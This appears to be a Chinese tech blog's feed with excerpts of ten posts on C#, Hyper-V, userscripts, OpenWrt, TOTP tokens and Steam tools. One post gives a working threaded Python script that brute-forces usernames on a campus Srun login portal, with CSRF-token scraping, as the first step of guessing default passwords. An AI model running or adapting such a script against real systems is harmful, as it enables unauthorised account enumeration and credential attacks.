Chr_小屋 - 功能
type: channel
link: https://blog.chrxw.com/tag/功能
items: 使用C#源生成器自动完成服务注册
items: Hyper-V 定时创建快照脚本
items: Steam令牌验证器 在线版
items: 【油猴脚本教程】P2 初识油猴脚本 & 油猴脚本的基本构成
items: 使用GitHub Action自动编译OpenWrt固件
items: 【树莓派】简约令牌时钟
items: 利用ASF自动添加Steam上的免费游戏
items: 【过期】京东炸年兽自动脚本【1.8】
items: 深澜账号密码爆破脚本
items: Ventoy美化主题 V2.0

使用C#源生成器自动完成服务注册
type: item
date: 2024-01-24T11:28:19+08:00
description: 前言 完整项目地址: https://github.com/chr233/XinjingdailyBot 因为项目之前是使用运行时反射来完成服务的动态注册，而源生成器是在编译前完成代码生成并参与编译，完全没有运行时的性能开销 运行时反射 - 旧的方案 标记特性 首先创建一个 Attribute, 用来标注需要扫描的服务类 namespace XinjingdailyBot.Infrastructure.Attribute; /// /// 标记服务 /// 1、如果服务是本身 直接在类上使用[AppService] /// 2、如果服务是接口 在类上使用 [AppService(ServiceType = typeof(实现接口))] /// [AttributeUsage(AttributeTargets.Class, Inherited = false)] public sealed class AppServiceAttribute : System.Attribute { /// /// 服务声明周期 /// 不给默认值的话注册的是AddSingleton /// public LifeTime ServiceLifetime { get; set; } = LifeTime.Scoped; /// /// 指定服务类型 /// public Type? ServiceType { get; set; } /// /// 是否可以从第一个接口获取服务类型 /// public bool InterfaceServiceType { get; set; } /// /// 标记服务 /// /// public AppServiceAttribute(LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; } /// /// 标记服务 /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; } /// /// 标记服务 /// /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime, bool interfaceServiceType) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; InterfaceServiceType = interfaceServiceType; } } /// /// 生命周期 /// public enum LifeTime { /// /// 瞬时 /// Transient, /// /// 范围 /// Scoped, /// /// 单例 /// Singleton } 基于反射的服务扫描器 然后再主项目启动的时候使用反射扫描添加了该 Attribute 的所有 Class 并注册服务 using System.Diagnostics.CodeAnalysis; using System.Reflection; using XinjingdailyBot.Infrastructure.Attribute; namespace XinjingdailyBot.WebAPI.Extensions; /// /// 动态注册服务扩展 /// public static class AppServiceExtensions { private static readonly NLog.Logger _logger = NLog.LogManager.GetCurrentClassLogger(); /// /// 注册引用程序域中所有有AppService标记的类的服务 /// /// [RequiresUnreferencedCode("不兼容剪裁")] public static void AddAppService(this IServiceCollection services) { var cls = new string[] { "XinjingdailyBot.Repository", "XinjingdailyBot.Service", "XinjingdailyBot.Command", "XinjingdailyBot.WebAPI", }; foreach (var item i…

Hyper-V 定时创建快照脚本
type: item
date: 2024-01-10T11:30:42+08:00
description: 前言 最近拿闲置电脑装了个Win11作为NAS使用，感觉Windows NAS也没有那么不堪用了，顺便使用Windows自带的Hyper-V作为虚拟机平台使用，对比Proxmox和ESXi，能用，但又不是很好用，甚至没有自动化创建快照的功能，好在PowerShell提供了接口，就写个脚本完成定时创建快照 脚本正文 $isAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) # 如果不是管理员，以管理员身份重新运行脚本 if (-not $isAdmin) { Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs Exit } # 此处放置你的脚本的其余部分 Write-Output "脚本以管理员身份运行" # 保留的最大快照数量 $maxSnapshots = 14 # 获取所有虚拟机的名称 $vms = Get-VM foreach ($vm in $vms) { Write-Output "为虚拟机 $($vm.Name) 创建定时快照" $datetime = Get-Date -Format 'yyyy-MM-dd tt hh:mm:ss' # 创建快照 Checkpoint-VM -VM $vm -SnapshotName "定时快照 ($datetime)" # 获取所有快照 $snapshots = Get-VMSnapshot -VM $vm | Where-Object { $_.Name -like '定时快照*' } Write-Output "共有 $($snapshots.Count) 个定时快照" # 如果快照数量超过限制，则删除较旧的快照 if ($snapshots.Count -gt $maxSnapshots) { $snapshotsToDelete = $snapshots | Sort-Object CreationTime | Select-Object -First ($snapshots.Count - $maxSnapshots) foreach ($snapshot in $snapshotsToDelete) { Write-Output "删除快照 $($snapshot.Name)" Remove-VMSnapshot -VM $vm -Name $snapshot.Name } } } 记得用 UTF8-with-BOM 编码保存，否则脚本中的中文会乱码 添加定时任务 如果没有设置过脚本执行策略的话Windows默认禁止执行脚本，用命令改成允许本地脚本执行，远程脚本需要签名才能执行 Set-ExecutionPolicy RemoteSigned 然后在任务计划程序(taskschd.msc)中添加新的任务 操作Hyper-V需要提权，一定要勾选使用最高权限运行 触发器就是什么时间执行任务，按需设置，我这里设的是一天备份两次 操作就是执行的动作，添加一条启动程序的操作，程序或脚本填powershell -File 脚本文件路径 保存需要输入当前的账户密码，然后在右侧菜单手动执行一下任务 如果一切正常就可以在Hyper-V管理器中看见脚本创建的快照了

Steam令牌验证器 在线版
type: item
date: 2023-06-20T17:02:00+08:00
description: 前言 按照 C/S 的架构重新设计了一个类似 SteamDesktopAuthenticator 的小工具，没有做交易查看功能，方便给代练分享令牌和账号信息，可以给每个用户设置可以看见的令牌 支持私有化部署 简介 获取方式 爱发电已上架： https://afdian.net/item/360b43a60f4911ee80e352540025c377

【油猴脚本教程】P2 初识油猴脚本 & 油猴脚本的基本构成
type: item
date: 2022-08-17T00:00:00+08:00
description: P2 初识油猴脚本 教程索引 视频链接 光讲JS感觉不是特别直观，用两个不涉及网络请求的脚本进行讲解 第一个脚本 - Remove Live.js 脚本链接： https://github.com/chr233/GM_Scripts/blob/master/Bilibili/Remove_Live.js 脚本功能： 提供一个开关，用于移除直播播放器，并且带有记忆功能 源码： // ==UserScript== // @name Remove_Live // @name:zh-CN 去除B站直播间播放器 // @namespace https://blog.chrxw.com // @version 1.1 // @description 去除B站多余的直播播放器（滑稽） // @author Chr_ // @include https://live.bilibili.com/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // ==/UserScript== (() => { "use strict"; //去除播放器的开关 let VEnable = localStorage.getItem("VEnable") === "true"; if (VEnable) { setTimeout(() => { document.getElementById("live-player").remove(); }, 3000); } let btnArea = document.querySelector(".right-ctnr"); let btn = document.createElement("button"); btn.textContent = VEnable ? "恢复播放器" : "移除播放器"; btn.addEventListener("click", () => { VEnable = !VEnable; localStorage.setItem("VEnable", VEnable); btn.textContent = VEnable ? "恢复播放器" : "移除播放器"; if (VEnable) { document.getElementById("live-player").remove(); } else { location.reload(); } }); btnArea.insertBefore(btn, btnArea.children[0]); })(); 第二个脚本 - SteamDB CN.js 脚本链接： https://github.com/chr233/GM_Scripts/blob/master/SteamDB/SteamDB_CN.js 脚本功能： 汉化SteamDB 源码： // ==UserScript== // @name:zh-CN SteamDB汉化 // @name SteamDB_CN // @namespace https://blog.chrxw.com // @supportURL https://blog.chrxw.com/scripts.html // @contributionURL https://afdian.net/@chr233 // @version 1.32 // @description SteamDB汉化插件 // @description:zh-cn SteamDB汉化插件 // @author Chr_ // @match https://steamdb.info/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // @resource data https://cf.chrxw.com/SteamDB/SteamDB_CN.json // @grant GM_addStyle // @grant GM_getResourceText // @grant GM_registerMenuCommand // ==/UserScript== (() => { "use strict"; //是否打开调试模式（使用自定义汉化规则而不是在线规则） const DEBUG = localStorage["dbg_mode"] == "开"; //是否在控制台输出未汉化文本 const OUTPUT = localStorage["out_word"] == "开"; GM_registerMenuCommand(`调试汉化文本: 【${DEBUG ? "开" : "关…

使用GitHub Action自动编译OpenWrt固件
type: item
date: 2022-01-28T22:06:00+08:00
description: 前言 本教程基于 LEDE 项目 首先需要安装Linux虚拟机或者使用WSL虚拟环境，这里使用后者 正文 准备工作 首先自然是配置依赖环境 sudo apt -y update sudo apt -y install build-essential asciidoc binutils bzip2 gawk gettext git libncurses5-dev libz-dev patch python3 python2.7 unzip zlib1g-dev lib32gcc1 libc6-dev-i386 subversion flex uglifyjs git-core gcc-multilib p7zip p7zip-full msmtp libssl-dev texinfo libglib2.0-dev xmlto qemu-utils upx libelf-dev autoconf automake libtool autopoint device-tree-compiler g++-multilib antlr3 gperf wget curl swig rsync 因为要对LEDE固件做一些修改，所以我们需要去Folk一份源码 然后把刚刚Folk的仓库clone到本地 x> 请不要下载Zip存档，这样操作会丢失git配置，导致后续操作无法继续 # PS: 这里换成自己的仓库的地址 git clone https://github.com/chr233/lede !> 请确保处于大小写敏感的文件系统下，否则无法使用配置工具（NTFS和FAT都不行, EXT4可以） 然后使用命令就可以进入配置菜单了 make menuconfig 编译配置菜单说明（部分） Target System (Broadcom BCM27xx) #选择处理器架构 Subtarget (BCM2711 boards (64 bit)) #选择处理器 Target Profile (Raspberry Pi 4B/400/4CM (64bit)) #预制配置文件 Target Images #固件映像设置 ramdisk # 内存盘, 硬件内存充裕的话可以打开，有效提升性能 Compression # 压缩等级(none表示不压缩) Root filesystem archives #根文件系统存档类型 cpio.gz tar.gz Root filesystem images #根文件系统格式 ext4 #适用于大容量闪存,易于修改分区大小,没有恢复出厂设置的功能 squashfs #适用于小容量闪存，不可修改分区大小，有恢复出厂设置的功能 Gzip images #Gzip存档 Image Options Kernel partition size #内核分区大小，建议64M到256M，足够了 Root filesystem partition size #跟文件系统分区大小，根据闪存大小自行设定 Make /var persistent #持久化/var(开启后重启软路由/var下内容会保留) 以下设置一般无需修改 Enable experimental features by default #默认启用实验性功能 Global build settings #全局编译设置 Advanced configuration options (for developers) #高级选项(仅供开发者) Build the OpenWrt Image Builder #编译OpenWrt镜像编译器 Build the OpenWrt SDK #编译OpenWrt SDK Package the OpenWrt-based Toolchain #打包OpenWrt工具链 Image configuration #镜像选项 以下可以根据需要选择要加入的附加组件 i> M代表编译成ipk包，不内置在固件中，可以之后单独安装，*代表内置在固件中 Base system #基本组件 Administration #管理员工具 Boot Loaders #引导程序 Development #开发者工具 Extra packages #额外包 Firmware #固件工具 Fonts #字体 Kernel modules #内核模块 Languages #额外的语言(Python3,PHP,NodeJS等) Libraries #系统库 LuCI #LuCI插件(一般只需修改应用和主题) Collections #合集 Modules #模块 Applications #应用程序 Themes #主题 Protocols #协议支持 Libraries #运行库…

【树莓派】简约令牌时钟
type: item
date: 2021-04-04T01:17:00+08:00
description: 前言 总共花了4天休息时间做的小玩意，支持显示通用TOTP令牌(6位数字)和STEAM令牌(5位)，同时也是个桌面时钟。 源码获取：GitHub 令牌原理 i> 简单的介绍一下两个令牌的原理，不感兴趣的可以参考下一节 原理 令牌类似于短信验证码，是一种一次性密码OTP，核心原理很简单，服务器和用户事先约定好一个Secret，然后用户通过特殊的算法（一般用Secret + 时间戳或者计数器作为参数），得到一串字符，服务器也通过同样的算法得到一串字符，如果两者相同，那么就证明了我是我。 常见的令牌大多是基于时间的令牌TOTP，也就是用当前的时间戳作为输入，只要保证和服务端时间差不超过令牌有效期（常见的实现是30秒）就能确保通过验证。优点是令牌客户端可以不需要联网，缺点是可能因为时间差导致验证失败。 另一种实现是基于HMAC的令牌HOTP，这种令牌需要和服务器约定一个计数器，客户端刷新一次令牌，就告诉服务器，让两边的计数器同步，这样用户和服务器得到的结果才能一样，才能通过验证。缺点显而易见，就是令牌客户端需要联网。 STEAM的令牌系统类似于TOTP，也是基于时间戳的，只是算法略有区别，最明显的区别是普通TOTP计算得到的是6位数字，STEAM令牌是5位数字或字母。 x> Secret一定要保管好，千万不要向他人透露。 i> 完整代码位于utils/twofa.py TOTP详解 伪代码 #. 演示用的中间结果用【】 表示 0. 服务器和用户事先约定了一个密钥Secret，记为K【MNUHE6DXGEZDGNBVGY======】(Base32编码，也有的实现采用Base64编码） 1. 取当前时间戳/30，取整后记为C【53914423】 2. 使用C作为消息，K作为密钥，哈希方式一般为Sha-1，计算HMAC哈希值H【deb27e0ae7e70fc2d2527e6ed231967e26503f72】(16进制) 3. 取H最后一个字节的低4位，用作偏移，记为O【2】(即16进制C的最后一位) 4. 取H的第O到O+4字节【7e0ae7e7】，丢弃最高位，变为32位无符号整数，记为I【7e0ae7e7】(最高位本来就是0，所以不变) 5. 把I转成10进制数字【17602563747】，最低6位就是结果【643943】 Python实现 import hmac import hashlib from base64 import b32decode from time import time import struct def get_totp_auth_code(secret: str, t: int = None): if not t: t = int(time() / 30) key = b32decode(secret) msg = struct.pack(">Q", t) mac = hmac.new(key, msg, hashlib.sha1).digest() offset = mac[-1] & 0x0f binary = struct.unpack('>L', mac[offset:offset+4])[0] & 0x7fffffff code = str(binary)[-6:].zfill(6) return code # 演示DEMO print(get_totp_auth_code('MNUHE6DXGEZDGNBVGY======',53914423)) # 输出结果为 643943 Steam令牌详解 伪代码 #. 演示用的中间结果用【】 表示 0. 服务器和用户事先约定了一个密钥Secret，记为K【Y2hyeHcxMjM0NTY=】(Base64编码） 1. 取当前时间戳/30，先取整【53914423】，然后转换成8字节，前方补0，记为C【000000000336ab37】(16进制) 2. 使用C作为消息，K作为密钥，哈希方式一般为Sha-1，计算HMAC哈希值H【deb27e0ae7e70fc2d2527e6ed231967e26503f72】(16进制) 3. 取H最后一个字节的低4位，用作偏移，记为O【2】(即16进制C的最后一位) 4. 取H的第O到O+4字节【7e0ae7e7】，丢弃最高位，变为32位无符号整数，记为I【7e0ae7e7】(最高位本来就是0，所以不变)，为了方便计算转成10进制为【2114643943】 5. 创建一个字母表G【23456789BCDFGHJKMNPQRTVWXY】(去掉了一些容易混淆的字符) 6. 用I【2114643943】对26取余，记为M【9】，然后将I整除26，重复5次，得到5个M【9,13,7,12,25】(10进制) 7. 把5个M作为下…

利用ASF自动添加Steam上的免费游戏
type: item
date: 2021-03-12T23:00:52+08:00
description: 前言 最近开始关注Steam游戏的下架情报，付费游戏下架还可能买得到激活码，免费游戏下架绝大多数情况都没有办法收藏了，于是就有了这个能够自动添加免费游戏的项目 使用方法 链接 本项目链接：Github ASF配置 添加免费游戏通过ASF实现，所有首先需要配置ASF，打开ASF的IPC功能 只要在ASF.json中，加一条"IPC": true,即可 脚本安装 & 配置 首先克隆仓库 git clone https://github.com/chr233/free_game_hunter cd free_game_hunter pip3 install -r requirements.txt mv example.config.toml config.toml 在本地会存在一个data.db，会缓存机器人拥有的游戏和steam商店上的免费游戏，然后会保存统计数据，请不要自行修改data.db 然后修改config.toml，设置机器人名称即可 [bot] # 机器人设置 # 机器人名称,不能设置为asf bot_name = '1' # 多个机器人可以设置写成这样 # bot_name = ['1','2','3'] [asf] # asf设置 # ipc地址 ipc_addr = 'http://localhost:1242' # ipc连接密码,没有密码的话留空 ipc_password = '' [db] # 数据库配置 # 数据库名称 db_name = 'data.db' 运行脚本 使用Python3运行 python3 run.py 自动运行 我使用crontab实现定时执行（因为Steam限制，一个账号每小时最多添加50个Sub，所以一小时执行一次就行了） # 每个小时执行一次 0 * * * * /home/xxx/free_game_hunter/start.sh > /dev/null 2>&1 & start.sh内容： # 需要先切换到工作目录才可以，路径自行修改 cd /home/xxx/free_game_hunter python3 run.py 运行效果

【过期】京东炸年兽自动脚本【1.8】
type: item
date: 2021-01-18T10:02:00+08:00
description: 前言 本脚本仅供学习交流之用，使用者如何使用与本文作者无关。 AutoJS下载 & 教程 [post cid="1235" /] 脚本 大部分沿用之前的代码，初步测试没有问题，遇到问题欢迎留言反馈 //JD不定时热更新活动页，请关注脚本更新 //遇到问题请在发布页留言： //https://blog.chrxw.com/archives/2021/01/18/1455.html //Ver 1.8 2021.01.23 //By Chr_(chr@chrxw.com) //========================= //更新说明 //重写了任务完成判断方式,防止偶尔报错 //优化数组访问,应该不会再越界报错了 //修复若干bug //新支持浏览频道任务 //修复加购和参加会员任务的问题（需要打开开关） //修复出现限时任务时报错的问题 //========================= //功能配置 //自动加入会员（设为true启用) let auto_join_vip = false; //自动完成加购任务（设为true启用) let auto_add_cart = false; //延时时间倍率（倍数越大延时越久) let sleep_t = 1.0; //========================= auto.waitFor(); console.show(); toast('\n脚本开始运行\n请切换到任务页\nBy Chr_'); for (let i = 0; i < 10; i++) { //等待切换到任务页 if (className("android.view.View").text("我的爆竹").exists() || className("android.view.View").text("集爆竹").exists()) { break; } rsleep(1); } if (!className("android.view.View").textStartsWith("邀请好友助力").exists()) { advclick(className("android.view.View").text("集爆竹").findOnce()); } toast("\n即将开始工作\n中途需退出请按【音量+】终止"); sleep(1000); for (; ;) { let flag = false; let skip = false; let tasks = className("android.view.View").textStartsWith("邀请好友助力").findOnce().parent().parent().children(); for (let i = 0; i < tasks.length; i++) { if (tasks[i].childCount() == 5) { tasks[i].child(4).click(); rsleep(1); advback(); skip = true; } } if (skip) { continue; } for (let i = 0; i < tasks.length; i++) { if (tasks[i].length < 4) { for (let j = 0; j < tasks[i].childCount(); j++) { log(tasks[i].child(j).text()); } continue; } let desc; let title; try { desc = tasks[i].child(2).text(); title = tasks[i].child(1).text(); } catch (e) { log(e); continue; } let btn = tasks[i].child(3); log(i, desc); if (desc.search("8秒") != -1) { if (checks(btn, title)) { advclick(btn); view(); flag = true; } } else if (desc.search("浏览可得") != -1) { if (checks(btn, title)) { advclick(btn); view2(); flag = true; } } else if (desc.search("关注频道") != -1) { if (checks(btn, title)) { advclick(btn); view3(); flag = true; } } else if (auto_join_vip && des…

深澜账号密码爆破脚本
type: item
date: 2020-12-21T14:15:00+08:00
description: !> 本文仅供学习交流使用，其他用途与作者无关 前言 最近在学校内网瞎搞，就有了这个脚本，一个用来爆破用户名，另一个用来爆破默认密码。 验证码识别用的是腾讯云的OCR，不过也可以手动打码。 脚本 安装依赖： pip install requests bs4 lxml 爆破用户名 存在的用户名会保存在 users.txt 里 #!/usr/bin/python3 from json import dumps from requests import session import threading from bs4 import BeautifulSoup import requests requests.packages.urllib3.disable_warnings() # 爆破起始ID uid = 0 # 爆破结束ID ends = 30000 # 爆破入口（忘记密码页面） target = 'https://xxxx/forget/security' HEADERS = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'content-type': 'application/x-www-form-urlencoded', 'charset': 'UTF-8', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'} # 输出文件为 `users.txt` outf = open('users.txt', 'a', encoding='utf-8') def get_id(): global uid raw = str(uid).rjust(4, '0') uid += 1 return raw if uid <= ends else None class Boomer(threading.Thread): def __init__(self, i): self.i = i self.ss = session() self.headers = HEADERS.copy() self.headers['x-requested-with'] = 'XMLHttpRequest' self.flash_token() threading.Thread.__init__(self) def flash_token(self): '''刷新token''' r = self.ss.get(target, headers=HEADERS, verify=False) r.encoding = 'utf-8' soup = BeautifulSoup(r.text, 'lxml') t = soup.select_one( '#forget-security-form > input[type=hidden]:nth-child(1)') tk = t.get('value') if t else None self.headers['x-csrf-token'] = tk if tk == None: print('error') self.ss.headers = self.headers def run(self): print(f'{self.i} 开始') user = get_id() while user: result = self.check_user(user) if result: print(f'{user} 用户存在') outf.write(f'{user} 用户存在\n') outf.flush() else: print(f'{user} 用户不存在') user = get_id() print(f'{self.i} 退出') def check_user(self, uid): error = 0 jd = {} while error < 5: try: data = {'user_name': uid} r = self.ss.post(target, data=data, verify=False) r.encoding = 'utf-8' jd = r.json() break except Exception: self.flash_token() error += 1 if 'question_id' in jd: msg = '该账号未设置密保!' else: msg = jd.get('msg') if jd else …

Ventoy美化主题 V2.0
type: item
date: 2020-12-16T21:25:00+08:00
description: 前言 Ventoy已经可以显示自定义图标了，花了点时间做了下简单的适配。 主题DIY & 使用教程：BV1mg411c78f 使用方法 下载对应主题 解压出 ventoy 文件夹 把 ventoy 文件夹放到装有 Ventoy 分区根目录下(如图) 运行 rename.py ，这个脚本会自动重命名镜像文件，然后就能在引导菜单上显示正确的图标了 x> 千万不要把盘符输错了，非Windows用户可能需要自行修改一下脚本 [collapse status="false" title="脚本"] rename.py： ''' # @Author : Chr_ # @Date : 2020-12-16 18:53:26 # @LastEditors : Chr_ # @LastEditTime : 2020-12-16 21:23:53 # @Description : 优化镜像文件名,支持常见的系统名称 # @Description : 问题反馈: chr@chrxw.com ''' import os def get_volume_name() -> str: while True: print('[?]请输入镜像文件所在盘符: ', end='') d = input().upper() or 'E' d += ':' + os.sep # 非Windows用户可能需要修改这里 if os.path.exists(d): break else: print('[×]路径不存在') print(f'[=]目标设为{d}') print('[=]将会自动重命名该盘符下的所有镜像文件，是否继续?') print('[=]按Ctrl+C终止执行,按回车键继续……') return d def format_name(name) -> str: name = str(name).lower().title() dic = {'Centos': 'CentOS', 'Dvd': 'DVD', 'Ms-': 'MS-', 'Freebsd': 'FreeBSD', 'Bit': 'bit', 'Xp': 'XP', 'Cd': 'CD', 'Opensuse': 'openSUSE', 'Dos': 'DOS', 'Cn_': 'CN_', 'En_': 'EN_', 'Vl': 'VL', 'Pe': 'PE', } for x, y in dic.items(): name = name.replace(x, y, 1) return name def main(): target = get_volume_name() for path, _, file_list in os.walk(target, topdown=False): for file_name in file_list: if 'ventoy' in path or 'Information' in path: break file_name2 = format_name(file_name) if 'ventoy' in file_name or file_name == file_name2: continue if file_name.lower()[-3:] != 'iso': continue x = os.path.join(target, file_name) y = os.path.join(target, file_name+'_') z = os.path.join(target, file_name2) print(f'[-]{file_name} => {file_name2}') os.rename(x, y) os.rename(y, z) print('[!]运行结束') if __name__ == "__main__": try: main() except KeyboardInterrupt: pass [/collapse] 主题预览 i> 如果想使用其他背景图片，自行替换 \ventoy\theme\background.png 即可 流浪地球 下载链接：本地下载 牧濑红莉栖 下载链接：本地下载 御坂美琴 & 御坂妹妹 下载链接：本地下载 艾拉 下载链接：本地下载